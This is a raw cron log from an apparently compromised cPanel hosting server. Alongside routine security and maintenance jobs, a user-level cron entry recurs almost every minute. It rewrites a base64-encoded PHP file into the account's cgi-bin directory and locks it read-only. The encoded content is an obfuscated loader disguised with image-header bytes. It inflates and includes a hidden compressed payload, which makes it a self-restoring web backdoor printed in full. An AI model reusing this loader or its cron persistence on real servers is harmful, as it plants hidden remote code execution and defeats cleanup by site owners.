Sep  7 00:45:01 server CROND[404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:45:01 server CROND[408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:45:01 server CROND[405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:46:01 server CROND[1357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:46:01 server CROND[1358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:46:01 server CROND[1361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:47:01 server CROND[1730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:47:01 server CROND[1731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:47:01 server CROND[1732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:48:01 server CROND[2146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:48:01 server CROND[2147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:48:01 server CROND[2148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:49:01 server CROND[2632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:49:01 server CROND[2633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:49:01 server CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:50:01 server CROND[2983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:50:01 server CROND[2984]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:50:01 server CROND[2989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:50:01 server CROND[2988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:50:01 server CROND[2992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:50:01 server CROND[2995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:50:01 server CROND[2994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:50:01 server CROND[2997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:50:01 server CROND[2998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:51:01 server CROND[3823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:51:01 server CROND[3824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:51:01 server CROND[3825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:52:01 server CROND[4203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:52:01 server CROND[4204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:52:01 server CROND[4205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:53:01 server CROND[4574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:53:01 server CROND[4575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:53:01 server CROND[4576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:54:01 server CROND[4954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:54:01 server CROND[4955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:54:01 server CROND[4956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:55:01 server CROND[5431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:55:01 server CROND[5432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:55:01 server CROND[5436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:55:01 server CROND[5435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:55:01 server CROND[5433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:55:01 server CROND[5437]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:55:01 server CROND[5434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:56:01 server CROND[6258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:56:01 server CROND[6259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:56:01 server CROND[6260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:57:01 server CROND[6651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:57:01 server CROND[6652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:57:01 server CROND[6653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:57:01 server CROND[6654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:58:01 server CROND[7026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
